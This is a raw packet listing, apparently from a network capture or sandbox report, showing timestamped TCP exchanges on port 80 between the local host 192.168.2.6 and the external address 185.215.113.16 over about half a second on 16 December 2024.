Dec 16, 2024 15:38:25.728601933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.728616953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.728653908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.729674101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.729820013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.729883909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.730628967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.730796099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.730834961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.731822014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.731874943 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.731935024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.732925892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.732980013 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.733185053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.733834028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.733964920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.733989954 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.734879017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.734954119 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.735013962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.735960960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.736038923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.736135006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.737085104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.737142086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.737143040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.738104105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.738167048 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.738235950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.739156961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.739257097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.739304066 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.740255117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.740436077 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.740456104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.785480022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.875967026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.936399937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.995959997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.996129990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.996231079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.996651888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.996822119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.996865988 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.997586966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.997664928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.997709036 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.998614073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.998827934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.998889923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.999645948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.999732018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.999779940 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.000930071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.000967979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.001025915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.001779079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.001867056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.001914978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.002842903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.003035069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.003083944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.003890991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.003900051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.003994942 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.005070925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.005148888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.005214930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.006020069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.006061077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.006118059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.007052898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.007138968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.007193089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.056487083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.056520939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.056587934 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.056973934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.057132959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.057178974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.058090925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.058096886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.058149099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.059274912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.059592009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.059644938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.060163975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.060286999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.060369015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.061326027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.061501026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.061598063 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.062314034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.062421083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.062547922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.063441038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.063494921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.063563108 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.064671993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.064743042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.064786911 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.065623999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.065700054 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.065756083 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.066605091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.066751003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.066845894 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.067641020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.067764997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.067820072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.068738937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.068908930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.068958998 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.069696903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.069834948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.069891930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.070804119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.070936918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.070997953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.071885109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.071966887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.072015047 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.072962999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.073024035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.073065996 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.074063063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.074122906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.074172020 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.075018883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.075186968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.075241089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.076155901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.076347113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.076411963 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.077390909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.077702999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.077759027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.078346014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.078476906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.078520060 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.079355001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.079632998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.079700947 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.080383062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.080435991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.080703974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.081434011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.081908941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.081960917 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.082595110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.082778931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.082827091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.083511114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.083632946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.083676100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.084594011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.084709883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.084774971 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.085721016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.085825920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.085886955 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.086760044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.086853027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.086914062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.087881088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.088001966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.088119984 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.089076996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.089114904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.089168072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.089911938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.090193033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.090328932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.091046095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.091166019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.091269970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.092084885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.092212915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.092262983 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.093163013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.093307972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.093364000 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.094161987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.094274044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.095336914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.095392942 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.095467091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.095525026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.096344948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.096484900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.096525908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.097371101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.097496986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.097541094 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.098440886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.098648071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.098737001 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.099695921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.099788904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.099847078 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.100555897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.100722075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.100773096 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.101680040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.101797104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.101942062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.102809906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.102861881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.102900982 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.103890896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.104104042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.104175091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.104949951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.105043888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.105150938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.105948925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.106015921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.106064081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.107058048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.107104063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.108063936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.108112097 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.108139038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.108200073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.109150887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.109283924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.109327078 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.110321999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.110601902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.110661983 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.111248970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.111332893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.111370087 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.112287998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.112400055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.112447977 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.113224983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.113411903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.113540888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.114300966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.114362001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.114423037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.115326881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.115376949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.115431070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.116363049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.116417885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.116466999 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.117377996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.117455006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.117501974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.118586063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.118645906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.118707895 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.119646072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.119765043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.119930029 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.120909929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.121062994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.121121883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.122057915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.122190952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.122318983 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.123022079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.123122931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.123192072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.123881102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.123929977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.124010086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.125014067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.125231028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.125313997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.126113892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.126166105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.126205921 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.127103090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.127135038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.127182007 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.128103018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.128196955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.128245115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.129246950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.129432917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.129503012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.130599976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.130858898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.130908966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.131863117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.132066965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.132108927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.132725000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.132791042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.132853031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.133804083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.133877993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.133914948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.134650946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.134829998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.134974957 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.135576963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.135727882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.135835886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.136605024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.136753082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.136806965 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.137783051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.137932062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.137995958 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.138734102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.138797045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.138930082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.139763117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.140142918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.140248060 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.140887022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.140971899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.141043901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.141890049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.142056942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.142117023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.142983913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.143127918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.143369913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.144236088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.144296885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.145060062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.145134926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.145175934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.145236015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.146255016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.146372080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.146437883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.147216082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.147423983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.147530079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.148282051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.148401976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.148472071 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.149333000 CET	80	49747	185.215.113.16	192.168.2.6
